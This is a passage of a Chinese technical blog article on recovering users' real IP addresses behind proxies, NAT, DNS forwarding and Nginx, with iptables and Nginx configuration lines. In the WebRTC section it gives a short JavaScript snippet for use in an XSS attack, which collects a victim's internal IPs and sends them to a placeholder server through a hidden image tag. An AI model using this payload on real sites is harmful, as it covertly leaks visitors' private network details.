代理、转发等多种场景下，如何获取用户真实IP？

《代理、转发等多种场景下，如何获取用户真实IP？》要点：
本文介绍了代理、转发等多种场景下，如何获取用户真实IP？，希望对您有用。如果有疑问，可以联系我们。

1 概述

工作中会经常碰到需要进行转发之类的需求,比如LVS转发、NAT转发,或者在BGP网络架设一个端口转发来提高小运营商网络玩家的网络体验等.

BGP进行游戏端口转发之前提到过,架构也比较简单清晰明了：

这种简单的转发架构可以在很多地方应用.不过这里有个源IP识别的问题,A用户通过B机器的优质网络去访问服务器C,这个时候服务器C认到的用户IP就不是A而是变成了B服务器了,也就是说用户原始IP不见了,只有中转机器的IP.

其实这个情况在技术上也是可以解决的,类似的获取原始IP的情况比较多,下面来小列举一下.

1.1 WebRTC内网识别

公网服务器可以获取到用户办公网的内网IP,这个有点颠覆了以前的知识,比如用火狐浏览器访问这个地址https://diafygi.github.io/webrtc-ips/就会在页面上显示你的VPN或者内网IP,这里利用的是WebRTC技术.

WebRTC采用STUN等协议栈对网络中的NAT进行穿透.用户发送请求至服务器,STUN服务器会返回用户所用系统的IP地址和局域网地址.

在XSS时候想要用户自动提交内网IP的话就在里面再加一小段js即可：

var ips = ‘ips:’; getIPs(function(ip) { ips = ips + ‘/’ + ip; ? ?document.write(‘<img src=”http://IP/ip.php?c=’ + ips + ‘” width=0 height=0 border=0 />’); });

1.2 阿里云高防

上阿里云高防之后,因为有一层LVS之类的浮动IP映射关系,服务器获取到的用户IP会变为阿里云的浮动IP,不过他们有提供一个内核级别的toa模块来变相实现获取用户IP的需求.
原理比较简单,在tcp协议里面多添加了个option字段,把源ip和端口改为16进制然后加到里面一起传到后端,然后后端就利用toa模块进行自动识别这个option字段的值改为IP地址即可.

在做转发时候,用tcpdump抓包的结果是这样：

里面有个不被识别的option字段,用wireshark读取和正常的tcp包进行对比如下：
原来的正常tcp包：

经过转发的tcp包,下面多了8个字节

而且这8个字节用16进制进行转换就是源ip地址：

Toa模块对系统的函数进行了修改,但是tcpdump之类的网络层是读取不到用户原始IP,需要应用层用getpeername函数进行自动识别,这已经比较有效地满足了常见的程序来获取真实IP的需求.

项目地址 https://github.com/alibaba/ali_kernel_rpm

不过对用户真实IP需求度不高的场景可以忽略.

1.3 DNS解析

DNS的解析也会有个用户原始IP的需求,比如智能DNS是根据用户IP来做区分处理,但是如果经过了个DNS转发就乱了,上层DNS服务器只能认到中转DNS的服务器IP导致解析混乱.

这个问题肯定是可以解决,因为现实场景中就已经证明一般不存在这个问题,虽然经过多层转发,智能DNS还是可以根据用户网络运营商来智能处理.

BIND有个ECS功能,前面文章有谈到过ECS属性,在DNS转发时候可以把源IP加到数据属性里面,这样上层DNS就可以识别到真实用户IP了,用dig的+clinet=IP来使用ECS请求解析的方式可以进行测试.

实际场景中如果要用到的话,需要多加一层来解决,因为用户这里的请求都是普通的DNS请求,不是ECS请求,需要手动转发一下,比如可以用同事修改的edns的go语言版本来进行转发：

核心功能就是把用户来源IP自动加为ECS属性再转发到上层DNS,上层DNS如果支持ECS功能就可以根据这个值来做相应处理了.

1.4 Nginx代理

Nginx的反向代理的用户IP识别问题是最常见的情况,前面文章也曾提到过,有两种方式来实现.

第一个方式是最简单常见的,提供个X-Forwarded-For参数给后端程序即可.

proxy_set_header ? X-Real-IP ? ? ? ?$remote_addr; proxy_set_header ? X-Forwarded-For ?$proxy_add_x_forwarded_for;

不过这个变量是可以伪造的,不能轻信.
另外一个是用Nginx的realip模块,这个比较高级点,可以让代理在应用层中变为透明的,不需要修改代码即可直接正常处理好相关的IP逻辑.

具体情况参考之前的文章.

1.5 NAT转发

这里以DNS应用来对NAT转发这个情况进行详细阐述下,因为做过BGP转发的情景应该都碰到过用户IP不真实的情况.

模拟场景比较简单,用户A、B需要通过旧DNS服务器D进行转发到新DNS服务器C来进行智能解析,这里不用ECS的解析方式,用从网络层NAT解决的方式来处理.

1.5.1 常规转发

首先在上面实现普通的端口转发,打开net.ipv4.ip_forward = 1之后配置防火墙：

-A PREROUTING -d 10.0.3.254 -p udp –dport 53 -j DNAT –to-destination 172.16.10.17:53 -A POSTROUTING -d 172.16.10.17 ?-j SNAT –to 10.0.3.254

然后进行智能解析测试,通过不同网段用户进行解析,很明显就是新DNS这个C机器只可以识别到中转的D机器,无法识别到用户A或者B的IP,导致智能解析失败：

1.5.2 解决思路
尝试了另外一个策略,先把D中转的NAT策略里面POSTROUTING去掉,重新测试发现有变化了：

提示解析失败.
在旧DNS这个D服务器上面抓包看下现在的现象

可以看到的是数据包已经转发到新dns机器C上面去了,但是没有回来,我们在C上面抓包可以看到C是直接把数据包返回给了用户：

现在数据走向图：

（编辑：东莞站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!